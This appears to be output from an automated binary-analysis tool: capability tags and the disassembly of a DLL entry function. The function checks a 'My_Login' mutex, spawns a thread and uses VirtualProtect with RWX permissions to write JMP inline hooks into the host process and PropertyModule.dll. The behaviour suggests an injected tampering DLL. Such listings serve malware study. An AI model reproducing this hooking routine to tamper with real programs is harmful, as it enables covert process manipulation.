Function at 0x10001ea0
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
cmp eax, 1
push edi
jne 0x100021f1
push str.My_Login
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10001ee3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 0xc
call fcn.10001480
push 0x1000bea0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
push 0x100015c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x41fb00
mov dword [0x1000bee0], 0x41fb00
call ebx
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push 0x1000
push 0x10001ae0
call ebx
mov edi, dword [0x1000bee0]
mov byte [edi], 0xe9
lea eax, [edi + 5]
mov byte [eax], 0x90
mov byte [eax + 1], 0x90
mov byte [eax + 2], 0x90
mov byte [eax + 3], 0xc2
mov byte [eax + 4], 4
mov byte [eax + 5], 0
lea esi, [0x10001ae0]
sub esi, eax
mov dword [edi + 1], esi
lea edx, [ebp + 0xc]
mov dword [0x1000bef0], 0x431bc9
push edx
push 0x40
push 0x1000
push 0x431bc9
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x10001c10
call ebx
mov edi, dword [0x1000bef0]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001c10]
sub esi, eax
mov dword [edi + 1], esi
lea ecx, [ebp + 0xc]
mov dword [0x1000bec4], 0x425ce9
push ecx
push 0x40
push 0x1000
push 0x425ce9
call ebx
lea edx, [ebp + 0xc]
push edx
push 0x40
push 0x1000
push 0x10001d20
call ebx
mov edi, dword [0x1000bec4]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001d20]
sub esi, eax
mov dword [edi + 1], esi
lea eax, [ebp + 0xc]
mov dword [0x1000bed8], 0x40fff9
push eax
push 0x40
push 0x1000
push 0x40fff9
call ebx
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push 0x1000
push 0x10001d80
call ebx
mov edi, dword [0x1000bed8]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001d80]
sub esi, eax
mov dword [edi + 1], esi
lea edx, [ebp + 0xc]
mov dword [0x1000beec], 0x418b4c
push edx
push 0x40
push 0x1000
push 0x418b4c
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x10001e50
call ebx
mov edi, dword [0x1000beec]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001e50]
sub esi, eax
mov dword [edi + 1], esi
lea ecx, [ebp + 0xc]
mov dword [0x1000bebc], 0x417694
push ecx
push 0x40
push 0x1000
push 0x417694
call ebx
lea edx, [ebp + 0xc]
push edx
push 0x40
push 0x100
push 0x10001df0
call ebx
mov edi, dword [0x1000bebc]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001df0]
sub esi, eax
mov dword [edi + 1], esi
lea eax, [ebp + 0xc]
mov dword [0x1000bed4], 0x42448e
push eax
push 0x40
push 0x1000
push 0x42448e
call ebx
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push 0x1000
push 0x10001a10
call ebx
mov edi, dword [0x1000bed4]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001a10]
sub esi, eax
mov dword [edi + 1], esi
push str.PropertyModule.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
mov dword [0x1000da1c], eax
je 0x100021f1
lea edx, [ebp + 0xc]
add eax, 0x2f6c
push edx
push 0x40
push 0x1000
push eax
mov dword [0x1000bedc], eax
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x100019b0
call ebx
mov edi, dword [0x1000bedc]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x100019b0]
sub esi, eax
mov dword [edi + 1], esi
mov ecx, dword [0x1000da1c]
lea edx, [ebp + 0xc]
push edx
push 0x40
lea eax, [ecx + 0x1355]
push 0x1000
push eax
mov dword [0x1000bee4], eax
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x10001cf0
call ebx
mov edi, dword [0x1000bee4]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001cf0]
sub esi, eax
mov dword [edi + 1], esi
mov ecx, dword [0x1000da1c]
lea edx, [ebp + 0xc]
push edx
push 0x40
lea eax, [ecx + 0x377d]
push 0x1000
push eax
mov dword [0x1000beb8], eax
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x10001ca0
call ebx
mov edi, dword [0x1000beb8]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001ca0]
sub esi, eax
mov dword [edi + 1], esi
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 0xc